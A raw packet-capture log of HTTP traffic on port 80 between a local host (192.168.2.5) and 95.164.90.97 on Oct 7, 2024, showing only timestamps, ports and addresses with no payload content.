Oct 7, 2024 18:00:52.833229065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833254099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833386898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833400011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833410978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833427906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833448887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833460093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833472967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833484888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833497047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833508015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833508968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833522081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833533049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833545923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833570957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833920002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833933115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833945036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833956003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833961964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833969116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833981037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.833981991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.833997011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834007978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.834027052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.834363937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834382057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834393024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834403992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834410906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.834420919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834433079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834443092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.834444046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834458113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834470034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834476948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.834481001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834492922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.834494114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834506989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.834528923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.834556103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.835376024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.835403919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.835414886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.835449934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.835474968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.836247921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.836261034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.836272001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.836282969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.836299896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.836302996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.836313963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.836330891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.836353064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.886404991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.886456966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.886579990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.886593103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.886626959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.886689901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.886878014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.886888027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.886907101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.886919975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.886920929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.886945963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.886964083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.898144007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898168087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898180962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898199081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.898222923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.898354053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898365974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898391008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898401976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898405075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.898427963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.898458004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.898502111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898511887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898524046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898535967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898544073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.898560047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.898591042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.898735046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898746967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898758888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.898780107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.898797035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.899769068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899780989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899792910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899802923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899813890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899825096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899836063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899841070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.899849892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899859905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.899878025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.899895906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.899919033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899930954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899943113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899960995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899966955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.899974108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899986029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.899995089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.899996996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900010109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900022984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900027990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.900037050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900038958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.900060892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900072098 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.900093079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.900458097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900500059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.900629997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900641918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900652885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900665998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900674105 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.900677919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900688887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900701046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900707006 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.900713921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900726080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900747061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.900769949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.900939941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900949001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900959015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900969982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900975943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.900980949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.900993109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.901002884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.901004076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.901016951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.901019096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.901051044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.901079893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.903089046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.903101921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.903111935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.903167009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.903340101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.903352022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.903363943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.903373957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.903409004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.918843985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918860912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918873072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918884993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918893099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.918896914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918910027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918914080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.918924093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918936014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918947935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918958902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918966055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.918971062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918984890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.918991089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.918998003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.919008970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.919009924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.919023037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.919034004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.919040918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.919047117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.919059038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.919070959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.919070959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.919116020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.920515060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.920531034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.920542955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.920550108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.920558929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.920562983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.920576096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.920605898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921360970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921375990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921394110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921405077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921407938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921417952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921428919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921439886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921439886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921452999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921458960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921472073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921477079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921487093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921499968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921504974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921511889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921516895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921525002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921539068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921545029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921550035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921561956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921561956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921574116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921587944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921588898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921602011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921612978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921614885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921626091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921633959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921638012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921649933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921649933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921662092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.921699047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.921727896 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.989139080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.989159107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.989170074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.989193916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.989228010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.989279032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.989290953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.989301920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.989314079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.989314079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.989331007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.989358902 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.000768900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.000822067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.000825882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.000838995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.000861883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.000888109 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.000907898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.000919104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.000936985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.000941038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.000956059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.000971079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.002830029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.002841949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.002854109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.002904892 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.002919912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.002924919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.002932072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.002943993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.002954960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.002964020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.002968073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.002991915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003010035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003211975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003222942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003233910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003245115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003252983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003256083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003268957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003269911 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003282070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003285885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003294945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003307104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003312111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003319025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003329039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003331900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003354073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003376961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003465891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003478050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003489017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003499031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003501892 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003529072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003568888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003581047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003592014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003606081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003611088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003624916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003648043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003684998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003812075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003823996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003833055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003844023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003844976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003856897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003870010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003875017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003881931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003891945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003892899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003906965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.003916979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.003941059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.004214048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.004225016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.004235029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.004246950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.004256964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.004260063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.004272938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.004272938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.004283905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.004288912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.004297972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.004308939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.004314899 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.004321098 CEST	80	49831	95.164.90.97	192.168.2.5
